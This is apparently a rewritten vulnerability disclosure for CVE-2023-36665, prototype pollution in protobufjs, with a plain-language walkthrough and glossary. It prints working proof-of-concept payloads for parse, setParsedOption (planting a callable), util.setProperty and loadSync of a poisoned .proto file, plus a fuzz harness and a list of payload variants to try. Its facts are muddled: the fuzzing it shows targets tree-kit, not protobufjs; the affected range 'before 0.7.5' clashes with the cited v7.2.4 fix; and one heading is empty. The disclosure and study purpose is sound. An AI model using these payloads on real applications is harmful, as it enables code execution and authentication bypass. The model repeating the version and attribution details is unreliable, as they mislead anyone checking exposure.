New Vulnerability in protobufjs: Prototype Pollution - CVE-2023-36665
protobufjs versions before 0.7.5 are vulnerable to prototype pollution through several functions such as parse, setParsedOption, util.setProperty, and load/loadSync. An attacker could supply crafted input to pollute the Object prototype, potentially leading to remote code execution, denial of service, authentication bypass, privilege escalation, or cross-site scripting.
Published on code-intelligence.com
Roman Wagner4 min read
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
protobuf.js (protobufjs) is a JavaScript implementation of Protocol Buffers, published on npm and maintained on GitHub. Applications use it to parse .proto definitions and to encode and decode protobuf messages. Part of that surface is the parsing of .proto source text, including option(...) statements, which are stored on reflection objects and applied as properties.
The vulnerability described here is a prototype pollution issue tracked as CVE-2023-36665. It was discovered by Peter Samarin using Jazzer.js, a JavaScript fuzzer, with a newly integrated prototype pollution bug detector. The finding emerged in part from a collaboration with Google's OSS-Fuzz. The maintainer fixed the issue in an update released on 27 June 2023.
Setup
The work was done against protobufjs itself, driven from Node.js. The proof-of-concept snippets all begin by loading the library:
const protobuf = require("protobufjs");
The fuzzing setup used Jazzer.js together with the tree-kit library at version 0.7.4, and @jazzer.js/core at ^1.6.1. No accounts, roles or remote endpoints are involved: the issue is reachable through the library's own API and through parsing of attacker-influenced input.
Finding it
The researcher used Jazzer.js to fuzz the extend function of tree-kit, which takes objects and merges them. The fuzz harness parses raw bytes as JSON and passes the result into extend:
const treekit = require("tree-kit");
module.exports.fuzzFn = function(data) {
try { treekit.extend({ unflat: true }, {}, JSON.parse(data.toString()));
} catch(e){}
}
The extend function expects valid objects, which the harness supplies through JSON.parse(). The fuzzer will usually spend some time finding inputs that result in valid JavaScript objects, so the researcher seeded it with a dictionary file, dict.txt, containing:
"{\"test\": {\"property\": \"true\"}}"
The fuzzer is run through an npm script declared in package.json:
{
"scripts": {
"fuzz": "jazzer fuzz -f fuzzFn -i tree-kit --sync -- -dict=dict.txt"
},
"dependencies": {
"tree-kit": "0.7.4"
},
"devDependencies": {
"@jazzer.js/core": "^1.6.1"
}
}
Running npm run fuzz produced output in which the fuzzer progressively reduced inputs and eventually reported the pollution. The relevant lines (with some lines deleted, as marked by ... in the report) are:
$ npm run fuzz> fuzz> jazzer fuzz -f fuzzFn -i tree-kit --sync -- -dict=dict.txt...INFO: Seed: 1508363828...#3190 NEW cov: 71 ft: 71 corp: 3/33b lim: 33 exec/s: 0 rss: 155Mb L: 31/31 MS: 3 InsertByte-EraseBytes-ManualDict- DE: "{\"test\": {\"property\": \"true\"}}"-#3195 REDUCE cov: 71 ft: 71 corp: 3/32b lim: 33 exec/s: 0 rss: 155Mb L: 30/30 MS: 5 CopyPart-EraseBytes-CopyPart-ChangeBinInt-PersAutoDict- DE: "{\"test\": {\"property\": \"true\"}}"-#3537 REDUCE cov: 71 ft: 71 corp: 3/29b lim: 33 exec/s: 0 rss: 155Mb L: 27/27 MS: 2 PersAutoDict-EraseBytes- DE: "{\"test\": {\"property\": \"true\"}}"-#5976 REDUCE cov: 77 ft: 77 corp: 4/63b lim: 43 exec/s: 0 rss: 156Mb L: 41/41 MS: 1 ManualDict- DE: "constructor.prototype"-...#17090 REDUCE cov: 82 ft: 101 corp: 15/583b lim: 98 exec/s: 0 rss: 159Mb L: 89/89 MS: 1 EraseBytes-==3524== Prototype Pollution: Prototype of Object changed. Additional properties in object1: { 'tre0': [object Object] }MS: 1 ManualDict- DE: "__proto__"-; base unit: [redacted],0x22,0x63,0x6f,0x6e,0x73,0x2e,0x5f,0x5f,0x70,0x72,0x6f,0x74,0x6f,0x5f,0x5f,0x2e,0x74,0x72,0x65,0x30,0x22,0x3a,0x20,0x7b,0x22,0x70,0x72,0x72,0x22,0x3a,0x20,0x22,0x74,0x61,0x22,0x7d,0x7d,{"cons.__proto__.tre0": {"prr": "ta"}}artifact_prefix='./'; Test unit written to ./crash-[redacted]: [redacted]=
The detector line is the key one: Prototype Pollution: Prototype of Object changed. Additional properties in object1: { 'tre0': [object Object] }. The crashing input was written to ./crash-[redacted], and the report gives its bytes and Base64 form. Decoded, the input is the JSON object {"cons.__proto__.tre0": {"prr": "ta"}}, which shows the fuzzer had learned to use __proto__ and constructor.prototype path segments to reach the prototype chain.
Exploitation
The report demonstrates four ways to trigger the pollution.
Step 1: the parse function
const protobuf = require("protobufjs");protobuf.parse('option(a).constructor.prototype.verified = true;');console.log({}.verified);// returns true
protobuf.parse accepts .proto source text. The option(a) statement carries a property path, and the path constructor.prototype.verified is followed when the option is applied. After the call, a freshly created plain object {} reports verified as true, which means Object.prototype itself was modified.
Step 2: setParsedOption on a ReflectionObject
const protobuf = require("protobufjs");function gadgetFunction(){
console.log("User is authenticated");
}// This will fail, but also pollute the prototype of Objecttry {
let obj = new protobuf.ReflectionObject("Test");
obj.setParsedOption("unimportant!", gadgetFunction, "constructor.prototype.testFn");
} catch (e) {}// Now we can make use of the new function on the polluted prototype const a = {};
a.testFn();// Prints "User is authenticated" to the console.
Here the option name is irrelevant ("unimportant!"); the third argument is the property path. The call throws, and the exception is swallowed, but the pollution has already happened. A plain object created afterwards inherits testFn, and calling a.testFn() executes the attacker-supplied function. This is the clearest demonstration that the primitive can plant a callable, not just a value.
Step 3: util.setProperty
const protobuf = require("protobufjs");protobuf.util.setProperty({}, "constructor.prototype.verified", true);console.log({}.verified);// returns true
util.setProperty is the low-level helper that walks a dotted path and assigns the value. Given a target object, the path constructor.prototype.verified and the value true, it writes through to Object.prototype. Again {}.verified returns true.
Step 4: load / loadSync on a .proto file
const protobuf = require("protobufjs");protobuf.loadSync("poc.proto");console.log({}.verified);// returns true
With poc.proto containing the following line:
option(foo).constructor.prototype.verified = true;
Loading the file through loadSync (the report notes the same applies to load) parses the option and applies it, polluting Object.prototype without any direct API call from the application beyond loading a .proto file.
Root cause
Walking constructor.prototype from any ordinary object reaches Object.prototype, so an assignment intended for a single reflection object lands on the shared prototype instead. The fuzzer output shows the same segments being discovered automatically (constructor.prototype, __proto__), . The report does not include the patched code, so the exact guard added is not shown here.
Impact
Once Object.prototype is polluted, the added or overwritten data and functions are available in all objects created afterwards. The report lists the follow-up issues this can cause, depending on the application that uses the affected library:
- Remote code execution (RCE)
- Denial of service attack (DoS) by overriding some built-in functions (e.g.
toString) - Authentication/validation bypass
- Privilege escalation
- Cross-site scripting (XSS)
The report's impact section describes the mechanism in terms of an attacker-controlled object, such as JSON received over the network and parsed by an application using tree-kit's extend function, polluting Object.prototype.
Fix
The maintainers released an update fixing the issue on 27 June 2023. Versions before 0.7.5 are affected; users should upgrade to 0.7.5 or above. The report links the release tag protobufjs-v7.2.4 and the pull request with the fix, https://github.com/protobufjs/protobuf.js/pull/1899. The report thanks Alexander Fenster for responding to the issue and providing a quick fix and a new release.
Variants to test
- Other option-bearing parsers. Feed
.proto-style or configuration text containingoption(x).constructor.prototype.<name> = <value>into any parser that applies options as properties. A positive result is a fresh{}exposing the planted property. __proto__instead ofconstructor.prototype. The fuzzer found both forms. Try{"a.__proto__.<name>": <value>}against merge/extend helpers. A positive result is the detector firing or a new property appearing onObject.prototype.- Function-valued payloads. Plant a callable rather than a boolean, as in the
setParsedOptionexample, and then invoke it from an unrelated object. A positive result is the function executing from a plain{}. - Swallowed exceptions. Wrap the call in
try/catchand check whether pollution persists after the throw, as it does in thesetParsedOptioncase. - File-loading paths. Run
loadandloadSyncagainst a.protofile containing the malicious option line. A positive result is{}.verified === trueafter loading. - Built-in overrides. Attempt to overwrite
toStringor similar on the prototype and observe whether unrelated code breaks, which would indicate a denial of service vector.
What happened, in plain words
A small piece of software called protobuf.js had a security hole. Someone found that by feeding it a specially crafted piece of text, they could secretly add new properties and functions to a shared object that every other object in the program inherits from. This is called prototype pollution. Once that shared object is changed, every object created afterwards carries the attacker's additions, which can lead to serious problems such as running the attacker's code, crashing the program, or bypassing login checks.
The hole is tracked as CVE-2023-36665. A CVE is a public catalogue number given to a known security flaw so people can look it up. It was discovered by Peter Samarin using a tool called Jazzer.js, which automatically tries large amounts of random input to see if any of it breaks the software. The maintainer of protobuf.js released a fix on 27 June 2023.
What protobuf.js is
Protocol Buffers (often shortened to protobuf) is a way of packing data into a compact format so that two programs can exchange it efficiently. Think of it like a very strict, very compact form of JSON. A .proto file is a text file that describes the shape of the data: which fields exist, what types they have, and so on.
protobuf.js is a JavaScript version of that tool. It is published on npm, which is the main package registry for JavaScript: a giant online shop of reusable code libraries that developers can download and plug into their own projects. It is maintained on GitHub, a website where people store and collaborate on code.
Applications use protobuf.js to do two main things:
- Read
.protodefinition files and turn them into objects the program can inspect. This is called parsing. - Encode and decode protobuf messages, meaning turn data into the compact wire format and back again.
Part of what protobuf.js parses is the .proto source text itself, including lines that start with option(...). An option in a .proto file is a piece of configuration attached to something. protobuf.js stores these options on internal objects called reflection objects, and it applies them as properties (named values) on those objects.
The vulnerability in one sentence
Setup
The work was done against protobuf.js itself, run from Node.js. Node.js is a program that lets JavaScript run outside a browser, on a computer or server. Every proof-of-concept snippet in the report starts by loading the library:
const protobuf = require("protobufjs");
Line by line:
const protobufcreates a constant (a variable that will not be reassigned) namedprotobuf.require("protobufjs")asks Node.js to load the protobuf.js library and hand back whatever it exports. In plain terms: "go and fetch the protobuf.js toolbox and give it to me."- The result is stored in
protobuf, so the rest of the code can call functions likeprotobuf.parse(...).
The fuzzing setup used Jazzer.js together with the tree-kit library at version 0.7.4, and @jazzer.js/core at ^1.6.1. No accounts, roles or remote endpoints are involved: the issue is reachable through the library's own API and through parsing of attacker-influenced input.
An API (Application Programming Interface) is the set of functions a library or service offers for other code to call. Think of it as the menu at a restaurant: you do not go into the kitchen, you order from the menu. Here the menu is the list of functions protobuf.js exposes, such as parse, load, loadSync and util.setProperty.
Finding it
The researcher used Jazzer.js to fuzz the extend function of tree-kit. To fuzz means to throw large amounts of random or semi-random input at a program and watch for crashes or strange behaviour. tree-kit is a separate small library whose extend function takes objects and merges them together, like combining two lists into one.
The fuzz harness parses raw bytes as JSON and passes the result into extend:
const treekit = require("tree-kit");
module.exports.fuzzFn = function(data) {
try { treekit.extend({ unflat: true }, {}, JSON.parse(data.toString()));
} catch(e){}
}
Line by line:
const treekit = require("tree-kit");loads thetree-kitlibrary and stores it intreekit.module.exports.fuzzFn = function(data) {defines a function calledfuzzFnand makes it available to the outside world throughmodule.exports. This is the function the fuzzer will call over and over, each time with a different chunk of bytes indata.try { ... } catch(e){}means: attempt the code inside the braces, and if it throws an error, catch the error and do nothing with it. Swallowing errors like this keeps the fuzzer running instead of stopping at the first bad input.treekit.extend({ unflat: true }, {}, JSON.parse(data.toString()));does three things in one line.data.toString()turns the raw bytes into a text string.JSON.parse(...)turns that text into a JavaScript object, if the text happens to be valid JSON.treekit.extend(...)then merges that object into the two objects given before it:{ unflat: true }and{}.
JSON (JavaScript Object Notation) is a simple text format for data, using curly braces, quotes and colons, for example {"name": "value"}. It is the most common way programs exchange structured data over a network.
The extend function expects valid objects, which the harness supplies through JSON.parse(). The fuzzer will usually spend some time finding inputs that result in valid JavaScript objects, so the researcher seeded it with a dictionary file, dict.txt, containing:
"{\"test\": {\"property\": \"true\"}}"
A dictionary in fuzzing is a list of useful strings the fuzzer can borrow from when building its random inputs. Seeding means giving the fuzzer a head start: instead of waiting for it to stumble on valid JSON by chance, you hand it a working example. The line above is a JSON string containing an object with a nested object, escaped with backslashes so it can sit inside the dictionary file.
The fuzzer is run through an npm script declared in package.json:
{
"scripts": {
"fuzz": "jazzer fuzz -f fuzzFn -i tree-kit --sync -- -dict=dict.txt"
},
"dependencies": {
"tree-kit": "0.7.4"
},
"devDependencies": {
"@jazzer.js/core": "^1.6.1"
}
}
Line by line:
package.jsonis the standard configuration file for a Node.js project. It lists the project's name, its scripts and its dependencies."scripts"holds named commands."fuzz"is the name of this one, so it can be run withnpm run fuzz."jazzer fuzz -f fuzzFn -i tree-kit --sync -- -dict=dict.txt"is the actual command.jazzer fuzzstarts the fuzzer.-f fuzzFnsays the function to call isfuzzFn.-i tree-kitsays to instrument (watch the internals of) thetree-kitlibrary.--syncruns it in synchronous mode.-dict=dict.txtpoints at the dictionary file."dependencies"lists libraries the project needs to run. Here it pinstree-kitto exactly version0.7.4."devDependencies"lists libraries needed only during development. Here it is@jazzer.js/coreat version^1.6.1, meaning 1.6.1 or any later 1.x version.
Running npm run fuzz produced output in which the fuzzer progressively reduced inputs and eventually reported the pollution. The relevant lines (with some lines deleted, as marked by ... in the report) are:
$ npm run fuzz> fuzz> jazzer fuzz -f fuzzFn -i tree-kit --sync -- -dict=dict.txt...INFO: Seed: 1508363828...#3190 NEW cov: 71 ft: 71 corp: 3/33b lim: 33 exec/s: 0 rss: 155Mb L: 31/31 MS: 3 InsertByte-EraseBytes-ManualDict- DE: "{\"test\": {\"property\": \"true\"}}"-#3195 REDUCE cov: 71 ft: 71 corp: 3/32b lim: 33 exec/s: 0 rss: 155Mb L: 30/30 MS: 5 CopyPart-EraseBytes-CopyPart-ChangeBinInt-PersAutoDict- DE: "{\"test\": {\"property\": \"true\"}}"-#3537 REDUCE cov: 71 ft: 71 corp: 3/29b lim: 33 exec/s: 0 rss: 155Mb L: 27/27 MS: 2 PersAutoDict-EraseBytes- DE: "{\"test\": {\"property\": \"true\"}}"-#5976 REDUCE cov: 77 ft: 77 corp: 4/63b lim: 43 exec/s: 0 rss: 156Mb L: 41/41 MS: 1 ManualDict- DE: "constructor.prototype"-...#17090 REDUCE cov: 82 ft: 101 corp: 15/583b lim: 98 exec/s: 0 rss: 159Mb L: 89/89 MS: 1 EraseBytes-==3524== Prototype Pollution: Prototype of Object changed. Additional properties in object1: { 'tre0': [object Object] }MS: 1 ManualDict- DE: "__proto__"-; base unit: [redacted],0x22,0x63,0x6f,0x6e,0x73,0x2e,0x5f,0x5f,0x70,0x72,0x6f,0x74,0x6f,0x5f,0x5f,0x2e,0x74,0x72,0x65,0x30,0x22,0x3a,0x20,0x7b,0x22,0x70,0x72,0x72,0x22,0x3a,0x20,0x22,0x74,0x61,0x22,0x7d,0x7d,{"cons.__proto__.tre0": {"prr": "ta"}}artifact_prefix='./'; Test unit written to ./crash-[redacted]: [redacted]=
This output is dense, so here is what matters in it:
$ npm run fuzzis the command the researcher typed. The>lines after it are npm echoing the script it is running.INFO: Seed: 1508363828is the random seed. A seed is the starting number for the fuzzer's randomness. Using the same seed reproduces the same run.- Lines starting with
#3190,#5976and so on are numbered test cases.NEWmeans the fuzzer found a new code path.REDUCEmeans it found a shorter input that reaches the same path, which is useful because shorter inputs are easier to understand. cov:is coverage, the number of code branches the fuzzer has reached.ft:is a related feature count.corp:is the corpus, the collection of interesting inputs kept for reuse.exec/sis executions per second.rssis memory use.L:is input length.MS:lists the mutations (changes) applied to build the input.DE:shows a dictionary entry that was used.- The line
==3524== Prototype Pollution: Prototype of Object changed. Additional properties in object1: { 'tre0': [object Object] }is the key one. It is the detector firing: the shared prototype ofObjectwas changed, and a new property calledtre0appeared on it. Test unit written to ./crash-[redacted]says the crashing input was saved to a file with that name.- The long
0x7b,0x22,...list is the input written as raw bytes in hexadecimal.Base64:gives the same bytes in Base64, a text encoding that represents binary data using letters and digits.
Decoded, the input is the JSON object {"cons.__proto__.tre0": {"prr": "ta"}}, which shows the fuzzer had learned to use __proto__ and constructor.prototype path segments to reach the prototype chain.
What a prototype is, and why polluting it is dangerous
JavaScript objects inherit from other objects. Every ordinary object inherits from a shared object called Object.prototype. Think of it as a template that every object is stamped from: if you add a property to the template, every object made from that template suddenly has it too, even objects that already existed.
__proto__ and constructor.prototype are two different ways of writing a path that leads to that shared template. A program that follows a dotted path like a.b.c and assigns a value at the end will, if it does not block these special names, end up writing onto the template instead of onto the intended object. That is prototype pollution: polluting the shared template.
Exploitation
The report demonstrates four ways to trigger the pollution. A primitive here means the basic underlying capability: the ability to write an arbitrary property onto Object.prototype.
Step 1: the parse function
const protobuf = require("protobufjs");protobuf.parse('option(a).constructor.prototype.verified = true;');console.log({}.verified);// returns true
Line by line:
const protobuf = require("protobufjs");loads the library, as before.protobuf.parse('option(a).constructor.prototype.verified = true;');hands protobuf.js a piece of.protosource text. That text contains an option statement whose name is a path:constructor.prototype.verified. protobuf.js parses it and applies the option, following the path.console.log({}.verified);creates a brand-new empty object{}and prints the value of itsverifiedproperty. If the prototype was polluted, this printstrueeven though the object was never given that property.// returns trueis a comment recording the observed result.
protobuf.parse accepts .proto source text. The option(a) statement carries a property path, and the path constructor.prototype.verified is followed when the option is applied. After the call, a freshly created plain object {} reports verified as true, which means Object.prototype itself was modified.
Step 2: setParsedOption on a ReflectionObject
const protobuf = require("protobufjs");function gadgetFunction(){
console.log("User is authenticated");
}// This will fail, but also pollute the prototype of Objecttry {
let obj = new protobuf.ReflectionObject("Test");
obj.setParsedOption("unimportant!", gadgetFunction, "constructor.prototype.testFn");
} catch (e) {}// Now we can make use of the new function on the polluted prototype const a = {};
a.testFn();// Prints "User is authenticated" to the console.
Line by line:
const protobuf = require("protobufjs");loads the library.function gadgetFunction(){ console.log("User is authenticated"); }defines a function that, when called, prints a message. In a real attack this would be the attacker's code. A gadget is a piece of existing or attacker-supplied code that gets reused to do something it was not meant to do.try { ... } catch (e) {}attempts the code and silently ignores any error.let obj = new protobuf.ReflectionObject("Test");creates a new reflection object, the kind of internal object protobuf.js uses to represent a definition.obj.setParsedOption("unimportant!", gadgetFunction, "constructor.prototype.testFn");calls a method that applies an option. The first argument is the option name and is irrelevant here. The second is the value, which is the function. The third is the property path, and it is the dangerous part:constructor.prototype.testFn.const a = {};creates a plain empty object.a.testFn();callstestFnon that object. Because the prototype was polluted, the object inherits the attacker's function, and the call runs it.// Prints "User is authenticated" to the console.records the observed result.
Here the option name is irrelevant ("unimportant!"); the third argument is the property path. The call throws, and the exception is swallowed, but the pollution has already happened. A plain object created afterwards inherits testFn, and calling a.testFn() executes the attacker-supplied function. This is the clearest demonstration that the primitive can plant a callable, not just a value.
Step 3: util.setProperty
const protobuf = require("protobufjs");protobuf.util.setProperty({}, "constructor.prototype.verified", true);console.log({}.verified);// returns true
Line by line:
protobuf.util.setProperty({}, "constructor.prototype.verified", true);calls a low-level helper. The first argument is the target object, an empty{}. The second is the dotted path. The third is the value to assign. The helper walks the path and assigns the value at the end.console.log({}.verified);checks whether a fresh empty object now hasverified.// returns truerecords that it does.
util.setProperty is the low-level helper that walks a dotted path and assigns the value. Given a target object, the path constructor.prototype.verified and the value true, it writes through to Object.prototype. Again {}.verified returns true.
Step 4: load / loadSync on a .proto file
const protobuf = require("protobufjs");protobuf.loadSync("poc.proto");console.log({}.verified);// returns true
Line by line:
protobuf.loadSync("poc.proto");reads a file namedpoc.protofrom disk and parses it. TheSyncsuffix means it does the work immediately and returns when finished, rather than returning a promise to be awaited later.console.log({}.verified);checks a fresh empty object for the planted property.// returns truerecords that the pollution happened.
With poc.proto containing the following line:
option(foo).constructor.prototype.verified = true;
Loading the file through loadSync (the report notes the same applies to load) parses the option and applies it, polluting Object.prototype without any direct API call from the application beyond loading a .proto file.
Root cause
Walking constructor.prototype from any ordinary object reaches Object.prototype, so an assignment intended for a single reflection object lands on the shared prototype instead. The fuzzer output shows the same segments being discovered automatically (constructor.prototype, __proto__), . The report does not include the patched code, so the exact guard added is not shown here.
Impact
Once Object.prototype is polluted, the added or overwritten data and functions are available in all objects created afterwards. The report lists the follow-up issues this can cause, depending on the application that uses the affected library:
- Remote code execution (RCE): the attacker gets their own code to run on the victim's machine or server. The worst case.
- Denial of service attack (DoS) by overriding some built-in functions (e.g.
toString): the attacker breaks something the program relies on, so the program crashes or stops responding.toStringis a built-in function that turns a value into text; if it is replaced with something broken, any code that prints a value may fail. - Authentication/validation bypass: checks that decide whether someone is allowed in, or whether data is acceptable, can be fooled. In the
setParsedOptionexample, the planted function prints "User is authenticated", which is exactly the kind of check an attacker would want to fake. - Privilege escalation: a user with low permissions gains higher ones.
- Cross-site scripting (XSS): attacker-controlled script runs inside another user's browser session.
The report's impact section describes the general mechanism in terms of an attacker-controlled object, such as JSON received over the network and parsed by an application using tree-kit's extend function, being used to pollute Object.prototype; the concrete protobuf.js entry points are the four shown above.
Fix
The maintainers released an update fixing the issue on 27 June 2023. Versions before 0.7.5 are affected; users should upgrade to 0.7.5 or above. The report links the release tag protobufjs-v7.2.4 and the pull request with the fix, https://github.com/protobufjs/protobuf.js/pull/1899. The report thanks Alexander Fenster for responding to the issue and providing a quick fix and a new release.
A pull request is a proposed change to a code repository on GitHub, which the maintainers review and then merge. A release tag is a label marking a particular published version of the software.
Variants to test
Each one is a variation on the same idea: get a special path segment into a place where the code follows dotted paths.
- Other option-bearing parsers. Feed
.proto-style or configuration text containingoption(x).constructor.prototype.<name> = <value>into any parser that applies options as properties. A positive result is a fresh{}exposing the planted property. __proto__instead ofconstructor.prototype. The fuzzer found both forms. Try{"a.__proto__.<name>": <value>}against merge/extend helpers. A positive result is the detector firing or a new property appearing onObject.prototype.- Function-valued payloads. Plant a callable rather than a boolean, as in the
setParsedOptionexample, and then invoke it from an unrelated object. A positive result is the function executing from a plain{}. - Swallowed exceptions. Wrap the call in
try/catchand check whether pollution persists after the throw, as it does in thesetParsedOptioncase. - File-loading paths. Run
loadandloadSyncagainst a.protofile containing the malicious option line. A positive result is{}.verified === trueafter loading. - Built-in overrides. Attempt to overwrite
toStringor similar on the prototype and observe whether unrelated code breaks, which would indicate a denial of service vector.
Glossary
- API: the set of functions a library or service offers for other code to call; the menu you order from.
- Base64: a text encoding that represents binary data using letters, digits and a few symbols.
- Coverage: the number of code branches a fuzzer has managed to reach.
- CVE: a public catalogue number given to a known security vulnerability.
- Denial of service (DoS): an attack that makes a program crash or stop responding.
- Dictionary (fuzzing): a list of useful strings a fuzzer can borrow from when building inputs.
- Fuzzing: throwing large amounts of random or semi-random input at a program to find crashes or strange behaviour.
- Gadget: a piece of code reused to do something it was not meant to do.
- GitHub: a website for storing and collaborating on code.
- JSON: a simple text format for structured data using braces, quotes and colons.
- Node.js: a program that runs JavaScript outside a browser.
- npm: the main package registry for JavaScript libraries.
- Option (in .proto): a piece of configuration attached to a definition in a
.protofile. - Parsing: reading text and turning it into structured objects a program can use.
- Primitive (in exploitation): the basic underlying capability an attacker gains, here the ability to write onto
Object.prototype. - Prototype: the shared object that other objects inherit properties from; in JavaScript,
Object.prototypeis the template for ordinary objects. - Prototype pollution: a vulnerability where an attacker adds or overwrites properties on the shared prototype, affecting every object created afterwards.
- Pull request: a proposed change to a code repository, reviewed before being merged.
- Reflection object: an internal protobuf.js object that represents a definition from a
.protofile. - Release tag: a label marking a particular published version of software.
- Remote code execution (RCE): an attack where the attacker's code runs on the victim's machine or server.
- Seed (fuzzing): the starting number for the fuzzer's randomness; the same seed reproduces the same run.
- XSS (cross-site scripting): an attack where attacker-controlled script runs inside another user's browser session.